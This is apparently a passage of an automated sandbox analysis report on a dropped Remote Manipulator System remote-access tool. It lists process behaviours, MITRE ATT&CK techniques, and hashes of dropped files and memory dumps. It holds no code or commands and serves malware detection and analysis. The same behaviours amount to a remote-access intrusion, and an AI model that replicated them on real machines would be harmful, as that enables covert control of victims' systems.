- C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
  "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /start
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2044

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
"C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:108
- C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
  "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:588
- - C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
    "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: SetClipboardViewer
    PID:1608
- C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
  "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  PID:568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Remote Manipulator System - Host\English.lg

Filesize
43KB

MD5
bc25377ade68750b834c81fa71c233b8

SHA1
84dbb465dd2125f47668e2508e18af9bd6db2fd8

SHA256
9a48a7ea7ba2c2f33280d1e1722ebbc59bf81bc6c5a1f97edca53ea641ffd8e3

SHA512
205ab195339d7108adbe6dfabd48e4e21c5956ded587d7213a44618f0d34a43f7b8abaa7765b9d31695efacfc44beeb69fbaa3cb27c141b6a653713fdf5ebce5

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\RIPCServer.dll

Filesize
144KB

MD5
2ddfa39f5c2fd3f00681ef2970617e4b

SHA1
8152aa18afbacf398b92168995ec8696d3fe3659

SHA256
f938bdc741ef1d2738b532aef001a160e3a3627ed8a27158b7017ee49fc65791

SHA512
f89f0f02cda650c138e4ebaef198f0762dfd571ef7d46a6b3710cd93d76bc52a79055c55afca46128a9a84a795a5cb946ca93c492e07cfb503c9b27d96211e20

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\RWLN.dll

Filesize
975KB

MD5
3d0b27b3f8aa22575aa0faf0b2d67216

SHA1
39fc787538849692ed7352418616f467b7a86a1d

SHA256
d7782488ef29bf0fd7e8faf0bd24414a6540bf7366434692a5a485d5ae2d7d44

SHA512
19f0785d3cecce0dbbb7da1be640bffebe4daedc65a513d1db0b5e533eb96aaa0588831de74c88e5013c00405e03ca4188c4b633e39e6c49ab5c1d1b42191ca8

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\Russian.lg

Filesize
48KB

MD5
e44e34bc285b709f08f967325d9c8be1

SHA1
e73f05c6a980ec9d006930c5343955f89579b409

SHA256
1d99a7b5f7b3daa61fa773972b1e335aa09b92411484f6ddc99d2b2894455a5b

SHA512
576b292b6e9cf022822443e050994462a6cbd9a3c60063bae9f54c78a84e75e17bb5eddf7e259a22a9d93f757cb6536c503762e2a30e75091e40c2756cde8727

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

Filesize
5.1MB

MD5
76ebe5fd077a62161d0ab560208b9f94

SHA1
614c218d35ba531f0bad791d52e5dcf57df5c742

SHA256
f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

SHA512
baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

Filesize
5.1MB

MD5
76ebe5fd077a62161d0ab560208b9f94

SHA1
614c218d35ba531f0bad791d52e5dcf57df5c742

SHA256
f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

SHA512
baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

Filesize
5.1MB

MD5
76ebe5fd077a62161d0ab560208b9f94

SHA1
614c218d35ba531f0bad791d52e5dcf57df5c742

SHA256
f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

SHA512
baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

Filesize
5.1MB

MD5
76ebe5fd077a62161d0ab560208b9f94

SHA1
614c218d35ba531f0bad791d52e5dcf57df5c742

SHA256
f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

SHA512
baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\vp8decoder.dll

Filesize
378KB

MD5
292a1748850d1fdc91d4ec23b02d6902

SHA1
8f15f1c24e11c0b45b19c82a78f7b79b1e7f932d

SHA256
acf354ad6ed94e876b29a60c5870dd91e7b3f76cc82c1a862c92024a12404a9f

SHA512
cf7579f1169ec21d9bf3c666d416d3fe2a4f9953d4d328b182452e40043f91055d301fd4b4a21454b847dbdb0af6a61c52657caded7d6fd7e88812aceeacf704

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\vp8encoder.dll

Filesize
1.6MB

MD5
4570f7a40357016c97afe0dd4faf749b

SHA1
ebc8a1660f1103c655559caab3a70ec23ca187f1

SHA256
a5f008bf852d4c73e001f840d6f8b233c7d9bc9570cee639d40c1c8723bf99f8

SHA512
6b16979d004adc04259f2ce043cde6f7b57f2ddf5f4cea7bb390fd6b9fb273d22355b837f1b5c2eae77ea7df792de8e6db43e31d7246f044935a8187dace493b

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\webmmux.dll

Filesize
258KB

MD5
038bf9f3a58560ad1130eeb85cdc1a87

SHA1
3571eb7293a2a3a5bf6eb21e1569cd151d995d1a

SHA256
d247afa3bd1ccc18e11eb099280802a61d3792a2018c476d95debf2091e9707d

SHA512
8ffa52b358841600b9122974079d22d4e11bc4214316cd85ac4d4af0e369112b6827029f74a9a9d3918db00c7fed3a9a1985e0b43da39783a748d78752ae2385

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisdecoder.dll

Filesize
363KB

MD5
eeb2c52abbc7eb1c029b7fec45a7f22e

SHA1
8bfeb412614e3db0a2bf0122f4d68cc27b8c3a61

SHA256
c0f0b84d587066af8f80f41a7be63b4c01547af3f1e011602ac1b6ee0ac54a2c

SHA512
0b5b83335c6f602b8397a3c2ae6d1e661d744eb27114463d53e344bf18774ccb38853d314ebe05536d4c28c29fe3fdaba041a6a46983789f064ca70881cfcb85

Download Submit
C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisencoder.dll

Filesize
858KB

MD5
e38372f576d927f525ef8e1a34b54664

SHA1
26af9d1db0a3f91d7fe13147e55f06c302d59389

SHA256
4046bd0b93909a41d0fd96f0405a864c79a47f493165546569251c1f73db6b0b

SHA512
78b7477b000407990304ec37624b873514d4ed9daa1b42fd988707b7374ffab442ba28fe19884724867f3f0f7a5f12f7fc8c228c050115c902d1569e4a3b13c7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
183018682b5cd2ca36db502e0ceda242

SHA1
9d7c9248113c043291f76d22e6958f41739bcbcd

SHA256
2eca3f9f9f7901d9fdbaf8f5fce33ef0d4b87c1ad9991e6e5140014e35c7cbf2

SHA512
a9bb2cd598f536dec10c1250594adc7aa7455bf0c1223b9002715c2d42c96a354d29f03f9971d801df965b2e06ba9a334ab47744093fbea0ddbdc82c8100da40

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi

Filesize
7.4MB

MD5
73e578a44265558d3ace212869d43cbb

SHA1
d2c15578def8996ed0ae4a44754055b774b095a7

SHA256
8a6945ead42d78d963d6f2e126eebb89c0e82b02c389d4badcaa837ff49bf7f4

SHA512
fe661e19899a6f749a180e5b312fcebb2963acc92720d1c6cabba22b0ffd250f1930c9dac62f789cd4b99aff86ef0f3944ae52a583e2c1be57c9fca391be9bf4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2638.tmp

Filesize
1KB

MD5
cc190266bc28d49102cea241d5a397e2

SHA1
e87c080b85d49686f6788c8dbc8374d73bf06f51

SHA256
670081d99aba36a6b0e197af2727082d70c4d3dd385fb35ee467e8dff463668f

SHA512
32abd4b1873608c9fcc3ba7545e733af8fbe8b4078b5f14d46f0b5ec8edce51fe8313c29f3f95999c939a3c1f05ee4ffacc4d588fd8c61a161799a3e20a47694

Download Submit
C:\Users\Admin\AppData\Local\Temp\RMS.exe

Filesize
8.3MB

MD5
73f351beae5c881fafe36f42cde9a47c

SHA1
dc1425cfd5569bd59f5d56432df875b59da9300b

SHA256
a028816d9741540c6184091b4ae3c4e42b104f90fe3b17a55d0e4aa4c4c43824

SHA512
f484b1260e73b3717603cfcfd62e820502480d8be57a7570e6c38612c9ea86b9335c6a42742fbdb369a37fcd5ec4c2b06f426a075582c39639128ad7be92da66

Download Submit
C:\Users\Admin\AppData\Local\Temp\RMS.exe

Filesize
8.3MB

MD5
73f351beae5c881fafe36f42cde9a47c

SHA1
dc1425cfd5569bd59f5d56432df875b59da9300b

SHA256
a028816d9741540c6184091b4ae3c4e42b104f90fe3b17a55d0e4aa4c4c43824

SHA512
f484b1260e73b3717603cfcfd62e820502480d8be57a7570e6c38612c9ea86b9335c6a42742fbdb369a37fcd5ec4c2b06f426a075582c39639128ad7be92da66

Download Submit
C:\Users\Admin\AppData\Local\Temp\j3igwgfh.dll

Filesize
3KB

MD5
245356a9cdb57996f299c40c8a9781cf

SHA1
cd2ffe7fb488ce4c840c57d2132996ec0e1075fb

SHA256
75d5659bcb4c09956319c4815923ca096507ab8c01c12fa519b995bbdfb65b7b

SHA512
1374b5fa6d63c50d19df3dfcab9a761703235572a0b5f653611c59f320f337648f4386c609f4865c1e146cdc99b0435a11f5d0403ecabca45364838522da8b24

Download Submit
C:\Users\Admin\AppData\Local\Temp\j3igwgfh.pdb

Filesize
11KB

MD5
3a654284f91db965a081396a3c8c26c1

SHA1
a56c48758b51cd51f16342c75ad94b46647d9e7d

SHA256
e118451e7dbc7e3ae119065b9f29dee6459a6fb87f462d09cabf76d820f03955

SHA512
0f78bd0146d55f2d3d3a7d10ea47d2a69d75eedf7a319c615b47a9fa4c7743fdfdfe5859bb39ac1c1783e4bdaa990acc9df367b32148b63d52a8db3321e2decf

Download Submit
C:\Users\Admin\AppData\Local\Temp\killself.bat

Filesize
411B

MD5
c2ac85b000427a4a00f19da237aaaf86

SHA1
459ecb5e64576348e6c654724e87825772c06ea8

SHA256
b5157eceaf9b5f6448d15dcfe7011af0b44a4288f7667c5d717f042c2fba1352

SHA512
e62f711445398b0654e698c4f7d4c75bb8693e901ae99f1cf543f45ccd9532daf27bba1ceb9d180d0379a41c9a62d6ee2df30cd25b9abb05532c551a0fad814b

Download Submit
C:\Windows\Installer\MSI79BD.tmp

Filesize
125KB

MD5
b0bcc622f1fff0eec99e487fa1a4ddd9

SHA1
49aa392454bd5869fa23794196aedc38e8eea6f5

SHA256
b32687eaaad888410718875dcbff9f6a552e29c4d76af33e06e59859e1054081

SHA512
1572c1d07df2e9262d05a915d69ec4ebeb92eab50b89ce27dd290fb5a8e1de2c97d9320a3bb006834c98b3f6afcd7d2c29f039d9ca9afaa09c714406dedbc3c7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC2637.tmp

Filesize
652B

MD5
0c12f98c851f7e7de95066a86781ed65

SHA1
5c26767999b2416f5d12d73937e22a0077751d46

SHA256
d61505d51f739c4022a7774f120f1bb59959bd30a179d554b485fab104f7d2a7

SHA512
f0eeaacc5f6d803efe9a8ba26c91037bc0671b7b1a7b2402d8b2f89c3a2c5f0a422a8a139174698605a3a114562ac98f698cba3ece5be6899b73affcdd8e71b3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\j3igwgfh.0.cs

Filesize
447B

MD5
1640a04633fee0dfdc7e22c4f4063bf6

SHA1
3cb525c47b5dd37f8ee45b034c9452265fba5476

SHA256
55e16d2ca3e65ce6c62cd5be2af5d7264445c5d7e1b5f3be7149acfb47ae42a0

SHA512
85c5103dda738d6003d39b0b619e68942965ddb9d6e08e544abf377224fdb29c6cd1501a549e99e57875954cea44b5bdefd7cace018c8123e7bfb717ae0e973d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\j3igwgfh.cmdline

Filesize
309B

MD5
4ff31f7e351b35cafb2f66ec16767dd5

SHA1
687da2a39e2585f67559e8bea4afc21daa657f06

SHA256
3db2b39f1e342896bcf25ca036aaea5c71da73f4ac5b5eff466deb400875bbe1

SHA512
d69eecfa8784f0ba03374427353b5a932894eebaacba481ef0418c0a35892f65d2993f270c4b7dee041ed54fdd2254b6fb3e50a7b1bdd5d8fe229bb3b22f8d3b

Download Submit
\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

Filesize
5.1MB

MD5
76ebe5fd077a62161d0ab560208b9f94

SHA1
614c218d35ba531f0bad791d52e5dcf57df5c742

SHA256
f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

SHA512
baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

Download Submit
\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

Filesize
5.1MB

MD5
76ebe5fd077a62161d0ab560208b9f94

SHA1
614c218d35ba531f0bad791d52e5dcf57df5c742

SHA256
f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

SHA512
baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

Download Submit
\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

Filesize
6.0MB

MD5
c9704931d887685d96ce92d637d84045

SHA1
0875a71e9118ded121d92f3f46a3af1ec8380f8b

SHA256
0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

SHA512
3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

Download Submit
\Windows\Installer\MSI79BD.tmp

Filesize
125KB

MD5
b0bcc622f1fff0eec99e487fa1a4ddd9

SHA1
49aa392454bd5869fa23794196aedc38e8eea6f5

SHA256
b32687eaaad888410718875dcbff9f6a552e29c4d76af33e06e59859e1054081

SHA512
1572c1d07df2e9262d05a915d69ec4ebeb92eab50b89ce27dd290fb5a8e1de2c97d9320a3bb006834c98b3f6afcd7d2c29f039d9ca9afaa09c714406dedbc3c7

Download Submit
memory/1120-88-0x0000000076781000-0x0000000076783000-memory.dmp

Filesize
8KB

Download
memory/1464-66-0x000007FEFC331000-0x000007FEFC333000-memory.dmp

Filesize
8KB

Download
memory/1644-56-0x000007FEEF450000-0x000007FEEFFAD000-memory.dmp

Filesize
11.4MB

Download
memory/1644-55-0x000007FEF2D70000-0x000007FEF3E06000-memory.dmp

Filesize
16.6MB

Download
memory/1644-54-0x000007FEF3E10000-0x000007FEF4833000-memory.dmp

Filesize
10.1MB

Download
memory/1644-85-0x000000001AEE0000-0x000000001AEF9000-memory.dmp

Filesize
100KB

Download